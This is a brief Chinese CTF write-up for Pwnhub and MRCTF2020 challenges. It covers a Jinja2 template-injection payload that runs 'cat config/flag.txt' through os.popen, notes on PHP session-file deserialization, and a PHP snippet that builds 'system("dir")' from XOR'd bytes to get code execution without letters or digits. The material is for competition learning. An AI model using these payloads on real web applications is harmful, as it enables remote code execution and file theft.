[MRCTF2020]套娃
Pwnhub五月公开赛wp学习
1. TemplatePlay(模板注入)
通过阅读jinja源码可以发现,jinja2内的undefined ,并非是python本身的而是自身修改过的并且继承自object,这样就可以直接使用此对象查找魔术方法,构造利用链。
ads就是未定义的,未定义就可以很灵活
{{ads.__init__.__globals__.__builtins__.__import__("os").popen("cat+config/flag.txt").read()}}
2. MyNotes(session的反序列化)
Session 默认会以文本的形式存储在服务器的临时目录中,文件名以sess_
作为前缀,后面加上Session ID,如sess_afdafsapcawervse。
在Cookie中PHPSESSID的值为服务器内部的文件名afdafsapcawervse,相关代码就会使用sess_afdafsapcawervse的信息
把一个文件通过控制名称变成session文件
无字母数字RCE
<?php
#system("dir");
$a1=urldecode('%08')^urldecode('%5b');//s
$a2=urldecode('%19')^urldecode('%60');//y
$a3=urldecode('%08')^urldecode('%5b');//s
$a4=urldecode('%28')^urldecode('%5c');//t
$a5=urldecode('%3a')^urldecode('%5f');//e
$a6=urldecode('%40')^urldecode('%2d');//m
$a7=urldecode('%5b')^urldecode('%3f');//d
$a8=urldecode('%60')^urldecode('%09');//i
$a9=urldecode('%60')^urldecode('%12');//r
$a10=urldecode('%7b')^urldecode('%1f');//d
($a1.$a2.$a3.$a4.$a5.$a6)($a7.$a8.$a9);
?>